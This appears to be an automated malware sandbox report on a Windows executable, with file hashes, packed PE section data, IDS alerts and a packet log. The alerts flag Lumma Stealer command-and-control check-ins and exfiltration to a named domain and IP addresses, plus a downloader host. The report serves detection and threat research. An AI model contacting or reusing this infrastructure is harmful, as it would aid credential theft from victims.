Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946509980121859
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'839'616 bytes
MD5:	3b9288c9ba59f75f9da214b9d6360b73
SHA1:	f16239ebbff31656c955f817d1b858845c1815f3
SHA256:	e9232320f1a90d07cc1446d5cb8a729db942cd3858cf06763f6e4bc571eabcc5
SHA512:	f32db5eae6a7378fb2a54a6c15c2a3dfbbb03cc9e7958c932c6d1b0ac159f8f401e870aeee5ed574800e01015fcb21798e58301bfe34b0bbbe2308995f866a9b
SSDEEP:	49152:frIXITpK+D9qwrTKEo/AUc0ZIeBD/yFDzJHEz:TICxnu//A8/BGDzJHEz
TLSH:	5B85338B660E1EF5D74D88B293C7172B9A303EF803A58769A5DE35BB2107A447F4C1E4
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....4g..............................I...........@..........................@I...........@.................................T@..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x891000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6734ACF6 [Wed Nov 13 13:43:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F53D94AD7FAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x24a00	e26ac8ef5a72839b2f7aa390a7814f4b	False	0.9991600895904437	data	7.971272002679764	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	fe9e51301c5bfe20fdbabc64e4b3c262	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a2000	0x200	4290a43dc7309997f44453785ce76826	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
erewnnff	0x2f7000	0x199000	0x198e00	e7e74bc8e1eb65ea5d58d38971108b47	False	0.9946171134591868	data	7.953616347656609	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rabfioua	0x490000	0x1000	0x400	841ae0d6df270d6dd155a637c401154a	False	0.7685546875	data	6.05544345570466	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x491000	0x3000	0x2200	d5f5885f56b54fcd05b27849b8bf3536	False	0.07559742647058823	DOS executable (COM)	0.7979056434947724	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-15T13:18:09.625782+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.7	49920	1.1.1.1	53	UDP
2024-11-15T13:18:10.347110+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49700	172.67.174.133	443	TCP
2024-11-15T13:18:10.347110+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	172.67.174.133	443	TCP
2024-11-15T13:18:10.730504+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49700	172.67.174.133	443	TCP
2024-11-15T13:18:10.730504+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	172.67.174.133	443	TCP
2024-11-15T13:18:11.427991+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T13:18:11.427991+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T13:18:11.948583+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T13:18:11.948583+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	172.67.174.133	443	TCP
2024-11-15T13:18:12.850491+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49702	172.67.174.133	443	TCP
2024-11-15T13:18:12.850491+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	172.67.174.133	443	TCP
2024-11-15T13:18:14.340581+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49703	172.67.174.133	443	TCP
2024-11-15T13:18:14.340581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	172.67.174.133	443	TCP
2024-11-15T13:18:15.929629+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49704	172.67.174.133	443	TCP
2024-11-15T13:18:15.929629+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49704	172.67.174.133	443	TCP
2024-11-15T13:18:18.057874+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49705	172.67.174.133	443	TCP
2024-11-15T13:18:18.057874+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	172.67.174.133	443	TCP
2024-11-15T13:18:18.404278+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49705	172.67.174.133	443	TCP
2024-11-15T13:18:19.628902+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49707	172.67.174.133	443	TCP
2024-11-15T13:18:19.628902+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49707	172.67.174.133	443	TCP
2024-11-15T13:18:24.227137+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.7	49728	172.67.174.133	443	TCP
2024-11-15T13:18:24.227137+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49728	172.67.174.133	443	TCP
2024-11-15T13:18:24.549602+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49728	172.67.174.133	443	TCP
2024-11-15T13:18:25.496873+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49734	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 13:18:03.417254925 CET	49671	443	192.168.2.7	204.79.197.203
Nov 15, 2024 13:18:04.126966953 CET	443	49699	104.98.116.138	192.168.2.7
Nov 15, 2024 13:18:04.127203941 CET	49699	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:04.823368073 CET	49674	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:04.824420929 CET	49675	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:04.979593039 CET	49672	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:05.823349953 CET	49671	443	192.168.2.7	204.79.197.203
Nov 15, 2024 13:18:09.728724957 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:09.728763103 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:09.728863955 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:09.735387087 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:09.735403061 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:09.889622927 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 13:18:10.260926008 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 13:18:10.347026110 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.347110033 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.350579977 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.350589037 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.350922108 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.390351057 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.400301933 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.400336981 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.400465965 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.635965109 CET	49671	443	192.168.2.7	204.79.197.203
Nov 15, 2024 13:18:10.730479956 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.730734110 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.730798960 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.732688904 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.732709885 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.732722998 CET	49700	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.732728958 CET	443	49700	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.799354076 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.799442053 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:10.799535036 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.800304890 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:10.800343990 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.010835886 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 13:18:11.427890062 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.427990913 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.429383993 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.429399967 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.429903984 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.431374073 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.431416035 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.431488991 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.948637962 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.948837996 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.948920012 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.948929071 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.948966026 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.949028969 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.949048996 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.949151039 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.949208975 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.949223042 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.949353933 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.949423075 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.949435949 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:11.995197058 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:11.995223045 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.042100906 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.067044020 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.067162037 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.067200899 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.067267895 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.067306995 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.067342997 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.067405939 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.067615986 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.067651987 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.067681074 CET	49701	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.067696095 CET	443	49701	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.237262964 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.237288952 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.237890959 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.238132954 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.238141060 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.510842085 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 13:18:12.849916935 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.850491047 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.852246046 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.852252960 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.852577925 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:12.853770018 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.854074001 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:12.854109049 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:13.573497057 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:13.573621988 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:13.573767900 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:13.574193954 CET	49702	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:13.574209929 CET	443	49702	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:13.721364021 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:13.721375942 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:13.721471071 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:13.721815109 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:13.721829891 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:14.340390921 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:14.340580940 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:14.341576099 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:14.341592073 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:14.341926098 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:14.343478918 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:14.343625069 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:14.343661070 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:14.343718052 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:14.391331911 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:14.432704926 CET	49674	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:14.432830095 CET	49675	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:14.588933945 CET	49672	443	192.168.2.7	104.98.116.138
Nov 15, 2024 13:18:15.011383057 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.011454105 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.011523008 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.011717081 CET	49703	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.011764050 CET	443	49703	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.323528051 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.323575020 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.323641062 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.324064016 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.324079037 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.495187998 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 13:18:15.929531097 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.929629087 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.931222916 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.931236982 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.931488037 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.933227062 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.933393955 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.933427095 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:15.933525085 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:15.933535099 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:16.630404949 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:16.630482912 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:16.630601883 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:16.630873919 CET	49704	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:16.630888939 CET	443	49704	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:17.440915108 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:17.440951109 CET	443	49705	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:17.441015005 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:17.441361904 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:17.441380024 CET	443	49705	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:18.057676077 CET	443	49705	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:18.057873964 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.066075087 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.066093922 CET	443	49705	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:18.066382885 CET	443	49705	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:18.068480015 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.068605900 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.068612099 CET	443	49705	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:18.325442076 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:18.325460911 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:18.325577974 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:18.325875998 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:18.325891018 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:18.404328108 CET	443	49705	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:18.404582024 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.404597044 CET	443	49705	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:18.404642105 CET	49705	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.990369081 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.990392923 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:18.990509033 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.990948915 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:18.990964890 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.108611107 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.108685017 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.112797976 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.112828016 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.113257885 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.124911070 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.167330027 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.384970903 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.385015011 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.385035992 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.385179043 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.385206938 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.385261059 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.508049011 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.508085012 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.508219004 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.508239031 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.508301973 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.628792048 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.628901958 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.631711960 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.631740093 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.631799936 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.631824970 CET	443	49706	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:19.631835938 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.637464046 CET	49706	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:19.664905071 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.664935112 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.666004896 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.676835060 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.704582930 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.704664946 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.704787970 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.704853058 CET	443	49707	172.67.174.133	192.168.2.7
Nov 15, 2024 13:18:19.705091000 CET	49707	443	192.168.2.7	172.67.174.133
Nov 15, 2024 13:18:19.705179930 CET	443	49707	172.67.174.133	192.168.2.7
